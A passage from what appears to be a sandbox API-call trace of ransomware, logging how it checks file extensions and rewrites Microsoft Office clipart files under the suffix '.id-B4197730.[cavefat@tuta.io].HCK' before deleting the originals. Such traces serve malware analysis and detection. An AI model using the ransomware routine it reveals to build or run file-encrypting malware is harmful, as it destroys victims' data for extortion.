lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.533] lstrlenW (lpString=".rar") returned 4 [0238.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".bz2") returned 4 [0238.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.533] lstrlenW (lpString=".7z") returned 3 [0238.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.533] lstrlenW (lpString=".dbf") returned 4 [0238.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.534] lstrlenW (lpString=".1cd") returned 4 [0238.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68 [0238.534] lstrlenW (lpString=".jpg") returned 4 [0238.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.534] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.534] lstrlenW (lpString="J0153273.WMF") returned 12 [0238.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.535] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20096) returned 1 [0238.535] CloseHandle (hObject=0x55c) returned 1 [0238.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 0x220 [0238.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.536] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.536] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.536] GetLastError () returned 0x0 [0238.536] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4e80, lpOverlapped=0x0) returned 1 [0238.538] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4e90, lpOverlapped=0x0) returned 1 [0238.539] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.539] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.539] SetEndOfFile (hFile=0x454) returned 1 [0238.540] CloseHandle (hObject=0x454) returned 1 [0238.540] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.540] SetEndOfFile (hFile=0x55c) returned 1 [0238.544] CloseHandle (hObject=0x55c) returned 1 [0238.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0238.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.545] lstrlenW (lpString=".doc") returned 4 [0238.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.545] lstrlenW (lpString=".docx") returned 5 [0238.545] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0238.545] lstrlenW (lpString=".pdf") returned 4 [0238.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.545] lstrlenW (lpString=".xls") returned 4 [0238.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.545] lstrlenW (lpString=".xlsx") returned 5 [0238.545] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0238.545] lstrlenW (lpString=".ppt") returned 4 [0238.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.545] lstrlenW (lpString=".zip") returned 4 [0238.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.545] lstrlenW (lpString=".rar") returned 4 [0238.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.545] lstrlenW (lpString=".bz2") returned 4 [0238.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.545] lstrlenW (lpString=".7z") returned 3 [0238.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".dbf") returned 4 [0238.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".1cd") returned 4 [0238.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".jpg") returned 4 [0238.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".doc") returned 4 [0238.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString=".docx") returned 5 [0238.546] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0238.546] lstrlenW (lpString=".pdf") returned 4 [0238.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString=".xls") returned 4 [0238.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.546] lstrlenW (lpString=".xlsx") returned 5 [0238.546] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0238.546] lstrlenW (lpString=".ppt") returned 4 [0238.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".zip") returned 4 [0238.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.546] lstrlenW (lpString=".rar") returned 4 [0238.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString=".bz2") returned 4 [0238.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString=".7z") returned 3 [0238.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".dbf") returned 4 [0238.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".1cd") returned 4 [0238.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68 [0238.546] lstrlenW (lpString=".jpg") returned 4 [0238.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.546] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.547] lstrlenW (lpString="J0153299.WMF") returned 12 [0238.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.548] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=36620) returned 1 [0238.548] CloseHandle (hObject=0x55c) returned 1 [0238.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220 [0238.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.549] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.549] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0238.549] GetLastError () returned 0x0 [0238.549] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x8f0c, lpOverlapped=0x0) returned 1 [0238.552] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x8f10, lpOverlapped=0x0) returned 1 [0238.553] ReadFile (in: hFile=0x55c, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.553] WriteFile (in: hFile=0x454, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0238.553] SetEndOfFile (hFile=0x454) returned 1 [0238.553] CloseHandle (hObject=0x454) returned 1 [0238.553] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.553] SetEndOfFile (hFile=0x55c) returned 1 [0238.555] CloseHandle (hObject=0x55c) returned 1 [0238.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString=".doc") returned 4 [0238.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString=".docx") returned 5 [0238.557] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0238.557] lstrlenW (lpString=".pdf") returned 4 [0238.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString=".xls") returned 4 [0238.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.557] lstrlenW (lpString=".xlsx") returned 5 [0238.557] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0238.557] lstrlenW (lpString=".ppt") returned 4 [0238.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString=".zip") returned 4 [0238.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.557] lstrlenW (lpString=".rar") returned 4 [0238.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString=".bz2") returned 4 [0238.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString=".7z") returned 3 [0238.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString=".dbf") returned 4 [0238.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString=".1cd") returned 4 [0238.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.557] lstrlenW (lpString=".jpg") returned 4 [0238.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString=".doc") returned 4 [0238.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString=".docx") returned 5 [0238.558] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0238.558] lstrlenW (lpString=".pdf") returned 4 [0238.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString=".xls") returned 4 [0238.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0238.558] lstrlenW (lpString=".xlsx") returned 5 [0238.558] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0238.558] lstrlenW (lpString=".ppt") returned 4 [0238.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString=".zip") returned 4 [0238.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0238.558] lstrlenW (lpString=".rar") returned 4 [0238.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString=".bz2") returned 4 [0238.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString=".7z") returned 3 [0238.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString=".dbf") returned 4 [0238.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString=".1cd") returned 4 [0238.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0238.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF") returned 68 [0238.558] lstrlenW (lpString=".jpg") returned 4 [0238.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0238.558] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0238.558] lstrlenW (lpString="J0153302.WMF") returned 12 [0238.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.229] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=30800) returned 1 [0239.229] CloseHandle (hObject=0x4d4) returned 1 [0239.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220 [0239.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.509] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.509] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.510] GetLastError () returned 0x0 [0239.510] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x7850, lpOverlapped=0x0) returned 1 [0239.512] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x7860, lpOverlapped=0x0) returned 1 [0239.513] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.514] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.514] SetEndOfFile (hFile=0x4a0) returned 1 [0239.514] CloseHandle (hObject=0x4a0) returned 1 [0239.514] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.514] SetEndOfFile (hFile=0x4c0) returned 1 [0239.518] CloseHandle (hObject=0x4c0) returned 1 [0239.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0239.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.519] lstrlenW (lpString=".doc") returned 4 [0239.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.519] lstrlenW (lpString=".docx") returned 5 [0239.519] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0239.519] lstrlenW (lpString=".pdf") returned 4 [0239.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.519] lstrlenW (lpString=".xls") returned 4 [0239.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.519] lstrlenW (lpString=".xlsx") returned 5 [0239.519] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0239.519] lstrlenW (lpString=".ppt") returned 4 [0239.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString=".zip") returned 4 [0239.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.520] lstrlenW (lpString=".rar") returned 4 [0239.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString=".bz2") returned 4 [0239.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString=".7z") returned 3 [0239.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString=".dbf") returned 4 [0239.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString=".1cd") returned 4 [0239.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString=".jpg") returned 4 [0239.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.520] lstrlenW (lpString=".doc") returned 4 [0239.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString=".docx") returned 5 [0239.520] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0239.520] lstrlenW (lpString=".pdf") returned 4 [0239.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.520] lstrlenW (lpString=".xls") returned 4 [0239.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.520] lstrlenW (lpString=".xlsx") returned 5 [0239.520] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0239.520] lstrlenW (lpString=".ppt") returned 4 [0239.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.521] lstrlenW (lpString=".zip") returned 4 [0239.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.521] lstrlenW (lpString=".rar") returned 4 [0239.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.521] lstrlenW (lpString=".bz2") returned 4 [0239.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.521] lstrlenW (lpString=".7z") returned 3 [0239.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.521] lstrlenW 